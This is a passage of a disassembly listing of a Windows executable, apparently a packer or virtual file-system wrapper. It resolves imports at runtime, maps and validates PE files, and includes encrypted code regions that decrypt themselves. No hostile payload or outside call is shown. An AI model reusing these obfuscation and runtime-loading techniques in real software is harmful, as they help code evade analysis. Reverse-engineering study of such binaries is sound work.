ds:dword_421004 ; GetProcAddress mov ds:dword_4246F8, eax push offset aReadfile ; "ReadFile" mov eax, [ebp+var_C] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_4246FC, eax push offset aSetenvironment ; "SetEnvironmentVariableA" mov ecx, [ebp+var_C] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_424700, eax push offset aSetevent ; "SetEvent" mov edx, [ebp+var_C] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_424704, eax push offset aSetfilepointer ; "SetFilePointer" mov eax, [ebp+var_C] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_424708, eax push offset aSetlasterror ; "SetLastError" mov ecx, [ebp+var_C] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_42470C, eax push offset aSetunhandledex ; "SetUnhandledExceptionFilter" mov edx, [ebp+var_C] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_424710, eax push offset aSleep ; "Sleep" mov eax, [ebp+var_C] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_424714, eax push offset aTerminateproce ; "TerminateProcess" mov ecx, [ebp+var_C] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_424718, eax push offset aUnlockfile ; "UnlockFile" mov edx, [ebp+var_C] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_42471C, eax push offset aUnmapviewoffil ; "UnmapViewOfFile" mov eax, [ebp+var_C] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_424720, eax push offset aVirtualalloc ; "VirtualAlloc" mov ecx, [ebp+var_C] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_424724, eax push offset aVirtualfree ; "VirtualFree" mov edx, [ebp+var_C] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_424728, eax push offset aVirtualprotect ; "VirtualProtect" mov eax, [ebp+var_C] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_42472C, eax push offset aVirtualquery ; "VirtualQuery" mov ecx, [ebp+var_C] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_424730, eax push offset aWaitforsingleo ; "WaitForSingleObject" mov edx, [ebp+var_C] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_424734, eax push offset aWidechartomult ; "WideCharToMultiByte" mov eax, [ebp+var_C] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_424738, eax push offset aWritefile ; "WriteFile" mov ecx, [ebp+var_C] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_42473C, eax push offset aLstrcmpia ; "lstrcmpiA" mov edx, [ebp+var_C] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_424740, eax push offset aUser32_dll ; "user32.dll" call ds:dword_4246DC ; LoadLibraryA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_4128F0 push 0 push 0 push 0 push 0EF0000F7h call ds:dword_42100C ; RaiseException loc_4128F0: ; CODE XREF: sub_412300+5DDj push offset aChangedisplays ; "ChangeDisplaySettingsA" mov eax, [ebp+var_10] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_424744, eax push offset aCharupperbuffa ; "CharUpperBuffA" mov ecx, [ebp+var_10] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_424748, eax push offset aLoadimagea ; "LoadImageA" mov edx, [ebp+var_10] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_42474C, eax push offset aMessageboxa ; "MessageBoxA" mov eax, [ebp+var_10] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_424750, eax push offset aWsprintfa ; "wsprintfA" mov ecx, [ebp+var_10] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_424754, eax push offset aWvsprintfa ; "wvsprintfA" mov edx, [ebp+var_10] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_424758, eax push offset aGdi32_dll ; "gdi32.dll" call ds:dword_4246DC ; LoadLibraryA mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_41298D push 0 push 0 push 0 push 0EF0000F6h call ds:dword_42100C ; RaiseException loc_41298D: ; CODE XREF: sub_412300+67Aj push offset aAddfontresourc ; "AddFontResourceA" mov eax, [ebp+var_8] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_42475C, eax push offset aCreatecompatib ; "CreateCompatibleDC" mov ecx, [ebp+var_8] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_424760, eax push offset aCreatedibsecti ; "CreateDIBSection" mov edx, [ebp+var_8] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_424764, eax push offset aDeletedc ; "DeleteDC" mov eax, [ebp+var_8] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_424768, eax push offset aRemovefontreso ; "RemoveFontResourceA" mov ecx, [ebp+var_8] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_42476C, eax push offset aBeginpaint ; "BeginPaint" mov edx, [ebp+var_10] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_424770, eax push offset aEndpaint ; "EndPaint" mov eax, [ebp+var_10] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_424774, eax push offset aGetobjecta ; "GetObjectA" mov ecx, [ebp+var_8] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_424778, eax push offset aSelectobject ; "SelectObject" mov edx, [ebp+var_8] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_42477C, eax push offset aDeleteobject ; "DeleteObject" mov eax, [ebp+var_8] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_424780, eax push offset aBitblt ; "BitBlt" mov ecx, [ebp+var_8] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_424784, eax push offset aGetwindowthrea ; "GetWindowThreadProcessId" mov edx, [ebp+var_10] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_424788, eax push offset aSetactivewindo ; "SetActiveWindow" mov eax, [ebp+var_10] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_42478C, eax push offset aSetforegroundw ; "SetForegroundWindow" mov ecx, [ebp+var_10] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_424790, eax push offset aRegisterclasse ; "RegisterClassExA" mov edx, [ebp+var_10] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_424794, eax push offset aGetsystemmetri ; "GetSystemMetrics" mov eax, [ebp+var_10] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_424798, eax push offset aCreatewindowex ; "CreateWindowExA" mov ecx, [ebp+var_10] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_42479C, eax push offset aGetmessagea ; "GetMessageA" mov edx, [ebp+var_10] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_4247A0, eax push offset aTranslatemessa ; "TranslateMessage" mov eax, [ebp+var_10] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_4247A4, eax push offset aDispatchmessag ; "DispatchMessageA" mov ecx, [ebp+var_10] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_4247A8, eax push offset aDestroywindow ; "DestroyWindow" mov edx, [ebp+var_10] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_4247AC, eax push offset aEnumwindows ; "EnumWindows" mov eax, [ebp+var_10] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_4247B0, eax push offset aDefwindowproca ; "DefWindowProcA" mov ecx, [ebp+var_10] push ecx call ds:dword_421004 ; GetProcAddress mov ds:dword_4247B4, eax push offset aPostmessagea ; "PostMessageA" mov edx, [ebp+var_10] push edx call ds:dword_421004 ; GetProcAddress mov ds:dword_4247B8, eax push offset aCreatethread ; "CreateThread" mov eax, [ebp+var_C] push eax call ds:dword_421004 ; GetProcAddress mov ds:dword_4247BC, eax mov [ebp+var_4], offset dword_424624 mov [ebp+var_14], offset dword_4247C0 jmp short loc_412B9A ; --------------------------------------------------------------------------- loc_412B91: ; CODE XREF: sub_412300:loc_412BC9j mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx loc_412B9A: ; CODE XREF: sub_412300+88Fj mov edx, [ebp+var_4] cmp edx, [ebp+var_14] jz short loc_412BCB mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jnz short loc_412BC9 push 0 push 0 push 0 mov ecx, [ebp+var_4] sub ecx, offset dword_424620 sar ecx, 2 sub ecx, 10FFEFFFh push ecx call ds:dword_42100C ; RaiseException loc_412BC9: ; CODE XREF: sub_412300+8A8j jmp short loc_412B91 ; --------------------------------------------------------------------------- loc_412BCB: ; CODE XREF: sub_412300+8A0j mov esp, ebp pop ebp retn sub_412300 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421290 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFD8h push ebx push esi push edi mov [ebp-18h], esp mov dword ptr [ebp-24h], 0FFFFFFFFh mov dword ptr [ebp-20h], 0 mov dword ptr [ebp-28h], 0 mov dword ptr [ebp-1Ch], 0 mov dword ptr [ebp-4], 0 push 0 push 0 push 3 push 0 push 1 push 80000000h mov eax, [ebp+8] push eax call ds:dword_424628 ; CreateFileA mov [ebp-24h], eax cmp dword ptr [ebp-24h], 0FFFFFFFFh jz short loc_412C8C push 0 mov ecx, [ebp-24h] push ecx call ds:dword_424680 ; GetFileSize mov [ebp-1Ch], eax cmp dword ptr [ebp-1Ch], 0FFFFFFFFh jz short loc_412C8C push 0 mov edx, [ebp-1Ch] push edx push 0 push 2 push 0 mov eax, [ebp-24h] push eax call ds:dword_424630 ; CreateFileMappingA mov [ebp-20h], eax cmp dword ptr [ebp-20h], 0 jz short loc_412C8C mov ecx, [ebp-1Ch] push ecx push 0 push 0 push 4 mov edx, [ebp-20h] push edx call ds:dword_4246EC ; MapViewOfFile mov [ebp-28h], eax cmp dword ptr [ebp-28h], 0 jnz short loc_412C96 loc_412C8C: ; CODE XREF: _3:00412C39j _3:00412C4Ej ... mov ecx, 0EF000001h call sub_41BA32 loc_412C96: ; CODE XREF: _3:00412C8Aj mov eax, [ebp-28h] mov ecx, [ebp-28h] add ecx, [eax+3Ch] mov [ebp-30h], ecx mov edx, [ebp-30h] cmp dword ptr [edx], 4550h jz short loc_412CB7 mov ecx, 0EF000002h call sub_41BA32 loc_412CB7: ; CODE XREF: _3:00412CABj mov eax, ds:off_42461C mov [ebp-34h], eax mov ecx, [ebp-30h] mov edx, [ebp+10h] sub edx, [ecx+34h] mov [ebp-2Ch], edx push 1190000h call sub_411B9E mov al, ds:0E19779ADh mov cl, 0Bh db 65h pop edi loopne loc_412D2E mov esi, 9BE6D9CCh clc or eax, 0CBF271Ah sahf or ah, bl cmp [esi-49D7FC99h], cl retn ; --------------------------------------------------------------------------- db 17h, 98h, 22h dd 1E1104F7h, 7CE31C0h, 87BBEF97h, 3165F51Ah, 0EBDA1C82h dd 22574EE3h, 56FCBF20h, 87F67063h, 0BEF3E28Fh, 0CBE63148h dd 4E6CC4B2h, 318515B8h, 0CB0A5CB5h db 57h, 23h ; --------------------------------------------------------------------------- loc_412D2E: ; CODE XREF: _3:00412CDEj clc push ss in al, 90h stc cli mov bl, [ebp-37h] mov eax, ds:0D5039062h db 2Eh mov al, 0EEh push edx mov bh, 27h hlt ; --------------------------------------------------------------------------- db 0Ah dword_412D44 dd 0F935B558h, 7C351553h, 8A5905B0h, 9689FD2Fh, 0A175F528h dd 0B37ACC17h, 72E49BDFh, 0ED9519B4h, 0B19D8237h, 834AE466h dd 2A3C8313h, 0BDE54984h, 2E5E8806h, 0D31A907Dh, 0DA91357Fh dd 4B72BE9Fh, 0BB27C81Fh, 548A5447h, 0C95DCDF0h, 0DB42946Fh dd 0ABFB6FFh, 2E305894h, 0F9422E4Bh, 74F2442Ah, 16884B9Bh dd 1E11B86Ch, 8A60A34Ah, 0FD418E24h, 0E7165CC6h, 0CE9DC76Fh dd 5F8EA9FFh, 0C6F7C413h, 49846053h, 695E6B78h, 0E2D534FEh dd 6E2FCEFh, 4A3D319Bh, 1BFAA757h, 4EE05F63h, 0E6D9CCBFh dd 1A0C199Bh, 0A3F1DC27h, 909097A4h, 0D285D233h, 45C7EE75h dd 0FFFFFFFCh, 2E8FFh, 31EB0000h, 0D87D83h, 458B0A74h dd 15FF50D8h, 424720h, 0E07D83h, 4D8B0A74h, 15FF51E0h dd 424624h, 0DC7D83h, 558B0A74h, 15FF52DCh, 424624h, 0F04D8BC3h dd 0D8964h, 5F000000h, 0E58B5B5Eh, 0CCCCC35Dh, 2 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4212A8 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFE88h push ebx push esi push edi mov dword ptr [ebp-20h], 0 mov dword ptr [ebp-1Ch], 0 mov dword ptr [ebp-4], 0 push 105h call sub_41BA4A add esp, 4 mov [ebp-184h], eax mov eax, [ebp-184h] mov [ebp-1Ch], eax push 104h mov ecx, [ebp-1Ch] push ecx push 0 call ds:dword_424698 ; GetModuleHandleA push eax call ds:dword_424694 ; GetModuleFileNameA mov edx, [ebp+0Ch] add edx, 82h mov [ebp-24h], edx mov eax, [ebp-24h] mov ecx, [eax] and ecx, 4 neg ecx sbb ecx, ecx neg ecx mov [ebp-20h], ecx cmp dword ptr [ebp-20h], 0 jz loc_41301E lea ecx, [ebp-160h] call sub_41AE88 mov dword ptr [ebp-164h], 10h push 290000h call sub_411B9E xor ds:33511589h, bh wait adc eax, 7F2E5083h mov cl, 0C4h neg byte ptr [ebp+1CDB828Fh] icebp push ebp in al, dx and esi, [edi+19h] or eax, 2ADD8F00h pop ebx imul ecx, [ebp+7Eh], 62F19C67h db 64h push edi and eax, 6C1CFC52h db 36h ; CODE XREF: _3:00412F33j jbe short near ptr loc_412F33+1 nop cmpsd mov ebx, 3AA1AEBAh cmc or [edx], dh popa push ebx inc esi db 2Eh setalc pusha in eax, dx cli outsd xor [ecx], ah or bh, [ebx] mov al, ds:83908E19h sbb [esi], eax nop bound edi, [eax] sbb [edx-788483F6h], ah out 0DAh, al int 6Fh rcl esp, 6Ah ; --------------------------------------------------------------------------- dd 72727F8Ch, 0CEC18456h, 21F5CCB3h, 0DA01F40Fh, 0FACDAFBCh dd 57144D44h, 0DAAF56DEh, 54F1B954h, 0C521AD9Eh, 6689ABB8h dd 0CA958847h, 0D6B4BC8Ch, 0F511F50Bh, 0DA1B4E8h, 7A5DD8Bh dd 0AED40791h, 24494D3Ah, 5B8A0B18h, 0CAA0A117h, 0B196A3B1h dd 55631006h, 0DED1C448h, 990A13EBh, 0B9C7AC9Ah, 7BADE3ACh dd 5021110Eh, 5F563744h, 0E9F6026Fh, 0C120432Ch, 818FE4DAh dd 36301374h, 6D263341h, 0E5F38876h, 0C44507D8h, 7CFDEDD2h dd 7D426370h, 61D59D48h, 0E1EF8C62h, 6E1403D4h, 85C0662Bh dd 5242A093h, 0EEE15EE1h, 22157593h, 0BDC1D42Fh, 90908F9Ch dd 0C085C033h db 75h, 0EEh ; --------------------------------------------------------------------------- loc_41301E: ; CODE XREF: _3:00412EE0j mov dword ptr [ebp-4], 0FFFFFFFFh call sub_41302C jmp short loc_413045 ; =============== S U B R O U T I N E ======================================= sub_41302C proc near ; CODE XREF: _3:00413025p ; DATA XREF: _4:004212B0o mov ecx, [ebp-1Ch] mov [ebp-188h], ecx mov edx, [ebp-188h] push edx call sub_41BACD add esp, 4 retn sub_41302C endp ; --------------------------------------------------------------------------- loc_413045: ; CODE XREF: _3:0041302Aj mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413056 proc near ; CODE XREF: sub_41E4C5+1Fp var_38 = dword ptr -38h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00413173 SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4212B8 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 20h push ebx push esi push edi or [ebp+var_1C], 0FFFFFFFFh push 0 lea eax, [ebp+var_1C] push eax push 3 push 80000000h push [ebp+arg_0] call sub_414344 test eax, eax jz loc_413173 cmp [ebp+var_1C], 0FFFFFFFFh jz loc_413173 mov eax, ds:dword_424864 mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jz short loc_4130C7 mov eax, [ebp+var_2C] add eax, 10h push eax call ds:dword_42101C ; RtlEnterCriticalSection mov [ebp+var_30], 1 jmp short loc_4130CB ; --------------------------------------------------------------------------- loc_4130C7: ; CODE XREF: sub_413056+5Cj and [ebp+var_30], 0 loc_4130CB: ; CODE XREF: sub_413056+6Fj movzx eax, [ebp+var_30] test eax, eax jz loc_413173 and [ebp+var_4], 0 mov eax, [ebp+arg_4] and dword ptr [eax], 0 push [ebp+var_1C] mov ecx, ds:dword_424864 call sub_41EB4C mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_413140 push [ebp+var_1C] call sub_418F16 pop ecx mov ecx, [ebp+arg_4] mov [ecx], eax cmp [ebp+var_20], 0 jnz short loc_41311F push ds:off_4214F0 push 1Fh push ds:off_4214F4 call sub_41BB7C loc_41311F: ; CODE XREF: sub_413056+B4j mov eax, [ebp+var_20] mov eax, [eax] mov [ebp+var_24], eax push 0FFFFFFFFh mov [ebp+var_38], 1 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_38] jmp short loc_413175 ; --------------------------------------------------------------------------- loc_413140: ; CODE XREF: sub_413056+A0j or [ebp+var_4], 0FFFFFFFFh call sub_41314B jmp short loc_413173 sub_413056 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41314B proc near ; CODE XREF: sub_413056+EEp ; DATA XREF: _4:004212C0o mov eax, ds:dword_424864 mov [ebp-34h], eax cmp dword ptr [ebp-34h], 0 jz short loc_413166 mov eax, [ebp-34h] add eax, 10h push eax call ds:dword_421018 ; RtlLeaveCriticalSection loc_413166: ; CODE XREF: sub_41314B+Cj lea eax, [ebp-28h] push eax push dword ptr [ebp-1Ch] call sub_41473F retn sub_41314B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_413056 loc_413173: ; CODE XREF: sub_413056+40j ; sub_413056+4Aj ... xor eax, eax loc_413175: ; CODE XREF: sub_413056+E8j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 8 ; END OF FUNCTION CHUNK FOR sub_413056 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413186 proc near ; CODE XREF: sub_413272+1B5p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 10h push esi push edi cmp [ebp+arg_4], 0 jz short loc_4131A7 mov ecx, [ebp+arg_4] mov edi, [ebp+arg_8] mov esi, [ebp+arg_0] xor eax, eax repe cmpsb jnz loc_41326A loc_4131A7: ; CODE XREF: sub_413186+Cj push 5Ch mov eax, [ebp+arg_8] add eax, [ebp+arg_4] push eax call sub_4105C0 pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_413236 mov eax, [ebp+arg_C] mov byte ptr [eax], 1 mov eax, [ebp+arg_8] add eax, [ebp+arg_4] mov ecx, [ebp+var_4] sub ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_C] inc eax cmp eax, 80h jbe short loc_4131E6 xor eax, eax jmp loc_41326C ; --------------------------------------------------------------------------- loc_4131E6: ; CODE XREF: sub_413186+57j mov ecx, [ebp+var_C] mov esi, [ebp+arg_8] add esi, [ebp+arg_4] mov edi, offset byte_4247C4 mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_C] and ds:byte_4247C4[eax], 0 mov eax, [ebp+arg_10] mov dword ptr [eax], offset byte_4247C4 push offset byte_4247C4 mov eax, [ebp+arg_0] add eax, [ebp+arg_4] push eax call sub_41006B pop ecx pop ecx neg eax sbb eax, eax neg eax mov [ebp+var_8], eax mov eax, [ebp+var_8] jmp short loc_41326C ; --------------------------------------------------------------------------- loc_413236: ; CODE XREF: sub_413186+38j mov eax, [ebp+arg_C] and byte ptr [eax], 0 mov eax, [ebp+arg_8] add eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] add eax, [ebp+arg_4] push eax call sub_41006B pop ecx pop ecx neg eax sbb eax, eax neg eax mov [ebp+var_10], eax mov eax, [ebp+arg_8] add eax, [ebp+arg_4] mov ecx, [ebp+arg_10] mov [ecx], eax mov eax, [ebp+var_10] jmp short loc_41326C ; --------------------------------------------------------------------------- loc_41326A: ; CODE XREF: sub_413186+1Bj xor eax, eax loc_41326C: ; CODE XREF: sub_413186+5Bj ; sub_413186+AEj ... pop edi pop esi leave retn 14h sub_413186 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413272 proc near ; CODE XREF: sub_41365E+56p ; sub_4136FE+90p var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 0041364B SIZE 00000013 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4212C8 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 44h push ebx push esi push edi push offset dword_424848 call ds:dword_424644 ; RtlEnterCriticalSection and [ebp+var_4], 0 cmp ds:dword_424888, 0 jnz short loc_4132C8 push 0FFFFFFFFh and [ebp+var_4C], 0 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_4C] jmp loc_41364D ; --------------------------------------------------------------------------- loc_4132C8: ; CODE XREF: sub_413272+3Bj and [ebp+var_24], 0 lea eax, [ebp+var_24] push eax mov eax, ds:dword_424888 add eax, 114h push eax push 104h push [ebp+arg_0] call ds:dword_424688 ; GetFullPathNameA mov [ebp+var_28], eax push [ebp+var_28] mov eax, ds:dword_424888 add eax, 114h push eax call ds:dword_424748 ; CharUpperBuffA mov ecx, [ebp+var_28] call sub_41546E mov eax, ds:dword_424888 mov eax, [eax+0Ch] mov [ebp+var_20], eax and [ebp+var_1C], 0 and [ebp+var_2C], 0 and [ebp+var_30], 0 mov eax, ds:dword_424888 mov ecx, [eax+21Ch] mov edi, ds:dword_424888 add edi, 10h mov esi, ds:dword_424888 add esi, 114h xor eax, eax repe cmpsb jnz loc_413634 mov eax, ds:dword_424888 mov eax, [eax+21Ch] mov ecx, ds:dword_424888 lea eax, [ecx+eax+114h] mov [ebp+var_3C], eax and [ebp+var_38], 0 push 5Ch push [ebp+var_3C] call sub_4105C0 pop ecx pop ecx mov [ebp+var_34], eax cmp [ebp+var_34], 0 jz short loc_413389 mov eax, [ebp+var_34] sub eax, [ebp+var_3C] inc eax mov [ebp+var_38], eax jmp short loc_4133B5 ; --------------------------------------------------------------------------- loc_413389: ; CODE XREF: sub_413272+109j mov eax, ds:dword_424604 mov eax, [eax+24h] and eax, 20h test eax, eax jnz short loc_4133B1 push 0FFFFFFFFh and [ebp+var_50], 0 lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_50] jmp loc_41364D ; --------------------------------------------------------------------------- loc_4133B1: ; CODE XREF: sub_413272+124j and [ebp+var_38], 0 loc_4133B5: ; CODE XREF: sub_413272+115j mov edi, [ebp+var_3C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx test ecx, ecx jnz short loc_4133D1 cmp [ebp+arg_8], 0 jnz short loc_4133D1 jmp loc_41360B ; --------------------------------------------------------------------------- loc_4133D1: ; CODE XREF: sub_413272+152j ; sub_413272+158j cmp [ebp+arg_8], 0 jz short loc_4133F4 mov eax, [ebp+arg_8] cmp dword ptr [eax], 0 jz short loc_4133F4 mov eax, [ebp+arg_8] mov ecx, ds:dword_424888 mov eax, [eax] sub eax, [ecx+8] sar eax, 4 inc eax mov [ebp+var_1C], eax loc_4133F4: ; CODE XREF: sub_413272+163j ; sub_413272+16Bj jmp short loc_4133FD ; --------------------------------------------------------------------------- loc_4133F6: ; CODE XREF: sub_413272:loc_413432j mov eax, [ebp+var_1C] inc eax mov [ebp+var_1C], eax loc_4133FD: ; CODE XREF: sub_413272:loc_4133F4j mov eax, [ebp+var_1C] cmp eax, [ebp+var_20] jnb short loc_413434 lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_30] push eax mov eax, [ebp+var_1C] shl eax, 4 mov ecx, ds:dword_424888 mov ecx, [ecx+8] mov eax, [ecx+eax] push dword ptr [eax] push [ebp+var_38] push [ebp+var_3C] call sub_413186 test eax, eax jz short loc_413432 jmp short loc_413434 ; --------------------------------------------------------------------------- loc_413432: ; CODE XREF: sub_413272+1BCj jmp short loc_4133F6 ; --------------------------------------------------------------------------- loc_413434: ; CODE XREF: sub_413272+191j ; sub_413272+1BEj mov eax, [ebp+var_1C] cmp eax, [ebp+var_20] jnb loc_41360B mov edi, [ebp+var_2C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_48], ecx movzx eax, [ebp+var_30] test eax, eax jz short loc_4134CC jmp short loc_413461 ; --------------------------------------------------------------------------- loc_41345A: ; CODE XREF: sub_413272:loc_4134CAj mov eax, [ebp+var_1C] inc eax mov [ebp+var_1C], eax loc_413461: ; CODE XREF: sub_413272+1E6j mov eax, [ebp+var_20] dec eax cmp [ebp+var_1C], eax jnb short loc_4134CC mov eax, [ebp+var_1C] inc eax shl eax, 4 mov ecx, ds:dword_424888 mov ecx, [ecx+8] mov eax, [ecx+eax] mov edi, [eax] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov eax, [ebp+var_48] add eax, [ebp+var_38] cmp ecx, eax jb short loc_4134C8 mov ecx, [ebp+var_48] add ecx, [ebp+var_38] mov eax, [ebp+var_1C] shl eax, 4 mov edx, ds:dword_424888 mov edx, [edx+8] mov eax, [edx+eax] mov edi, [eax] mov eax, [ebp+var_1C] inc eax shl eax, 4 mov edx, ds:dword_424888 mov edx, [edx+8] mov eax, [edx+eax] mov esi, [eax] xor eax, eax repe cmpsb jz short loc_4134CA loc_4134C8: ; CODE XREF: sub_413272+21Fj jmp short loc_4134CC ; --------------------------------------------------------------------------- loc_4134CA: ; CODE XREF: sub_413272+254j jmp short loc_41345A ; --------------------------------------------------------------------------- loc_4134CC: ; CODE XREF: sub_413272+1E4j ; sub_413272+1F6j ... mov eax, [ebp+var_1C] shl eax, 4 mov ecx, ds:dword_424888 mov ecx, [ecx+8] mov eax, [ecx+eax+4] add eax, [ebp+var_38] mov [ebp+var_2C], eax mov eax, [ebp+var_1C] shl eax, 4 mov ecx, ds:dword_424888 mov ecx, [ecx+8] add ecx, eax mov [ebp+var_40], ecx mov eax, [ebp+var_40] mov eax, [eax] mov [ebp+var_44], eax xor eax, eax mov edi, [ebp+arg_4] stosd push 41h pop ecx xor eax, eax mov edi, [ebp+arg_4] add edi, 2Ch rep stosd cmp [ebp+var_48], 104h jnb short loc_413525 mov eax, [ebp+var_48] mov [ebp+var_54], eax jmp short loc_41352C ; --------------------------------------------------------------------------- loc_413525: ; CODE XREF: sub_413272+2A9j mov [ebp+var_54], 104h loc_41352C: ; CODE XREF: sub_413272+2B1j mov ecx, [ebp+var_54] mov esi, [ebp+var_2C] mov edi, [ebp+arg_4] add edi, 2Ch mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb xor eax, eax mov edi, [ebp+arg_4] add edi, 130h stosd stosd stosd stosw cmp [ebp+var_48], 0Eh jbe short loc_413565 mov [ebp+var_58], 0Eh jmp short loc_41356B ; --------------------------------------------------------------------------- loc_413565: ; CODE XREF: sub_413272+2E8j mov eax, [ebp+var_48] mov [ebp+var_58], eax loc_41356B: ; CODE XREF: sub_413272+2F1j mov ecx, [ebp+var_58] mov esi, [ebp+var_2C] mov edi, [ebp+arg_4] add edi, 130h mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb movzx eax, [ebp+var_30] neg eax sbb eax, eax and eax, 0Fh inc eax mov ecx, [ebp+arg_4] mov [ecx], eax mov eax, [ebp+arg_4] mov ecx, [ebp+var_44] mov ecx, [ecx+8] mov [eax+20h], ecx mov eax, [ebp+var_40] mov eax, [eax+0Ch] mov ecx, [ebp+arg_4] mov edx, [eax+1Ch] mov [ecx+4], edx mov eax, [eax+20h] mov [ecx+8], eax mov eax, [ebp+var_40] mov eax, [eax+0Ch] mov ecx, [ebp+arg_4] mov edx, [eax+1Ch] mov [ecx+0Ch], edx mov eax, [eax+20h] mov [ecx+10h], eax mov eax, [ebp+var_40] mov eax, [eax+0Ch] mov ecx, [ebp+arg_4] mov edx, [eax+1Ch] mov [ecx+14h], edx mov eax, [eax+20h] mov [ecx+18h], eax cmp [ebp+arg_8], 